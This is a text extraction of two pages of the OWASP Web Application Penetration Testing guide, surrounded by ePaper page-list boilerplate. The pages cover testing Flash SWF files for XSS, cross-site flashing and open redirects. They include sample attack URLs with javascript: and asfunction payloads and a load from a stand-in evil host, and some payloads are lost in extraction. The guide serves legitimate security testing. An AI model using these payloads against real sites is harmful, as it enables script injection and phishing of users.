4.0

More documents

Recommendations

Info

198 Web Application Penetration Testing v5.load(Locale.DEFAULT_LANG + ‘/player_’ + Locale.DEFAULT_LANG + ‘.xml’); }; The above code could be attacked by requesting: http: /victim/file.swf?language=http: /evil.example.org/malicious.xml? Unsafe Methods When an entry point is identified, the data it represents could be used by unsafe methods. If the data is not filtered/validated using the right regexp it could lead to some security issue. Unsafe Methods since version r47 are: loadVariables() loadMovie() getURL() loadMovie() loadMovieNum() FScrollPane.loadScrollContent() LoadVars.load LoadVars.send XML.load ( ‘url’ ) LoadVars.load ( ‘url’ ) Sound.loadSound( ‘url’ , isStreaming ); NetStream.play( ‘url’ ); flash.external.ExternalInterface.call(_root.callback) htmlText The Test In order to exploit a vulnerability, the swf file should be hosted on the victim’s host, and the techniques of reflected XSS must be used. That is forcing the browser to load a pure swf file directly in the location bar (by redirection or social engineering) or by loading it through an iframe from an evil page: This is because in this situation the browser will self-generate an HTML page as if it were hosted by the victim host. XSS GetURL (AS2) / NavigateToURL (AS3): The GetURL function in ActionScript 2.0 and NavigateToURL in ActionScript 3.0 lets the movie load a URI into the browser’s window. So if an undefined variable is used as the first argument for getURL: getURL(_root.URI,’_targetFrame’); Or if a FlashVar is used as the parameter that is passed to a naviga- teToURL function: var request:URLRequest = new URLRequest(FlashVarSuppliedURL); navigateToURL(request); Then this will mean it’s possible to call JavaScript in the same domain where the movie is hosted by requesting: http: /victim/file.swf?URI=javascript:evilcode getURL(‘javascript:evilcode’,’_self’); The same when only some part of getURL is controlled: Dom Injection with Flash JavaScript injection asfunction: You can use the special asfunction protocol to cause the link to execute an ActionScript function in a SWF file instead of opening a URL. Until release Flash Player 9 r48 asfunction could be used on every method which has a URL as an argument. After that release, asfunction was restricted to use within an HTML TextField. This means that a tester could try to inject: in every unsafe method like: by requesting: getUrl(‘javascript:function(‘+_root.arg+’)) asfunction:getURL,javascript:evilcode loadMovie(_root.URL) http: /victim/file.swf?URL=asfunction:getURL,javascript:evilcode ExternalInterface: ExternalInterface.call is a static method introduced by Adobe to improve player/browser interaction for both ActionScript 2.0 and ActionScript 3.0. From a security point of view it could be abused when part of its argument could be controlled: flash.external.ExternalInterface.call(_root.callback); the attack pattern for this kind of flaw should be something like the following: eval(evilcode)
199 Web Application Penetration Testing since the internal JavaScript which is executed by the browser will be something similar to: eval(‘try { __flash__toXML(‘+__root.callback+’) ; } catch (e) { “”; }’) HTML Injection TextField Objects can render minimal HTML by setting: tf.html = true tf.htmlText = ‘text’ So if some part of text could be controlled by the tester, an A tag or an IMG tag could be injected resulting in modifying the GUI or XSS the browser. Some attack examples with A Tag: • Direct XSS: • Call a function: • Call SWF public functions: • Call native static as function: IMG tag could be used as well: (.swf is necessary to bypass flash player internal filter) Note: since release Flash Player 9.0.12<strong>4.0</strong> of Flash player XSS is no longer exploitable, but GUI modification could still be accomplished. Cross-Site Flashing Cross-Site Flashing (XSF) is a vulnerability which has a similar impact as XSS. XSF Occurs when from different domains: • One Movie loads another Movie with loadMovie* functions or other hacks and has access to the same sandbox or part of it • XSF could also occurs when an HTML page uses JavaScript to command an Adobe Flash movie, for example, by calling: • GetVariable: access to flash public and static object from JavaScript as a string. • SetVariable: set a static or public flash object to a new string value from JavaScript. • Unexpected Browser to SWF communication could result in stealing data from the SWF application. It could be performed by forcing a flawed SWF to load an external evil flash file. This attack could result in XSS or in the modification of the GUI in order to fool a user to insert credentials on a fake flash form. XSF could be used in the presence of Flash HTML Injection or external SWF files when loadMovie* methods are used. Open redirectors SWFs have the capability to navigate the browser. If the SWF takes the destination in as a FlashVar, then the SWF may be used as an open redirector. An open redirector is any piece of website functionality on a trusted website that an attacker can use to redirect the end-user to a malicious website. These are frequently used within phishing attacks. Similar to cross-site scripting, the attack involves a user clicking on a malicious link. In the Flash case, the malicious URL might look like: http: /trusted.example.org/trusted.swf?getURLValue=http: / www.evil-spoofing-website.org/phishEndUsers.html In the above example, an end-user might see the URL begins with their favorite trusted website and click on it. The link would load the trusted SWF which takes the getURLValue and provides it to an ActionScript browser navigation call: getURL(_root.getURLValue,”_self”); This would navigate the browser to the malicious URL provided by the attacker. At this point, the phisher has successfully leveraged the trusted the user has in trusted.example.org to trick the user into their malicious website. From their, they could launch a 0-day, conduct spoofing of the original website, or any other type of attack. SWFs may unintentionally be acting as an open-redirector on the website. Developers should avoid taking full URLs as FlashVars. If they only plan to navigate within their own website, then they should use relative URLs or verify that the URL begins with a trusted domain and protocol. Attacks and Flash Player Version Since May 2007, three new versions of Flash player were released by Adobe. Every new version restricts some of the attacks previously described. Attack Player Version v9.0 r47/48 v9.0 r115 v9.0 r124 asfunction Yes No No ExternalInterface Yes Yes Yes GetURL Yes Yes Yes Result Expected: Cross-Site Scripting and Cross-Site Flashing are the expected results on a flawed SWF file. Tools • Adobe SWF Investigator: http://labs.adobe.com/technologies swfinvestigator/ • SWFScan: http://h30499.www3.hp.com/t5/Following Html Injection Yes Yes Partially
Page 1 and 2:
1 Testing Guide 4.0 Project Leaders
Page 3 and 4:
Testing Guide Foreword - Table of c
Page 5 and 6:
3 Testing Guide Foreword - Table of
Page 7 and 8:
5 Testing Guide Foreword - By Eoin
Page 9 and 10:
7 Testing Guide Frontispiece 1 Test
Page 11 and 12:
9 Testing Guide Introduction 2 The
Page 13 and 14:
11 Testing Guide Introduction vide
Page 15 and 16:
13 Testing Guide Introduction Testi
Page 17 and 18:
15 Testing Guide Introduction laid
Page 19 and 20:
17 Testing Guide Introduction valid
Page 21 and 22:
19 Testing Guide Introduction USER
Page 23 and 24:
21 Testing Guide Introduction ment
Page 25 and 26:
23 Testing Guide Introduction offen
Page 27 and 28:
25 The OWASP Testing Framework sect
Page 29 and 30:
27 Web Application Penetration Test
Page 31 and 32:
Page 33 and 34:
Page 35 and 36:
Page 37 and 38:
Page 39 and 40:
Page 41 and 42:
Page 43 and 44:
Page 45 and 46:
Page 47 and 48:
Page 49 and 50:
Page 51 and 52:
Page 53 and 54:
Page 55 and 56:
Page 57 and 58:
Page 59 and 60:
Page 61 and 62:
Page 63 and 64:
Page 65 and 66:
Page 67 and 68:
Page 69 and 70:
Page 71 and 72:
Page 73 and 74:
Page 75 and 76:
Page 77 and 78:
Page 79 and 80:
Page 81 and 82:
Page 83 and 84:
Page 85 and 86:
Page 87 and 88:
Page 89 and 90:
Page 91 and 92:
Page 93 and 94:
Page 95 and 96:
Page 97 and 98:
Page 99 and 100:
Page 101 and 102:
Page 103 and 104:
101 Web Application Penetration Tes
Page 105 and 106:
Page 107 and 108:
Page 109 and 110:
Page 111 and 112:
Page 113 and 114:
Page 115 and 116:
Page 117 and 118:
Page 119 and 120:
Page 121 and 122:
Page 123 and 124:
Page 125 and 126:
Page 127 and 128:
Page 129 and 130:
Page 131 and 132:
Page 133 and 134:
Page 135 and 136:
Page 137 and 138:
Page 139 and 140:
Page 141 and 142:
Page 143 and 144:
Page 145 and 146:
Page 147 and 148:
Page 149 and 150: 147 Web Application Penetration Tes
Page 199: 197 Web Application Penetration Tes
Page 211 and 212: 209 same code can be applied to ses
Page 213 and 214: 211 Reporting Test ID Lowest versio
Page 215 and 216: 213 Reporting Test ID Business Logi
Page 217 and 218: 215 Appendix kajfghlhfkcocafkcjlajl
Page 219 and 220: 217 Appendix Testing - http:/www.ni
Page 221 and 222: 219 Cross Site Scripting (XSS) For
Page 223 and 224: 221 LDAP Injection For details on L
show all

4.0

Create successful ePaper yourself

Delete template?

Save as template?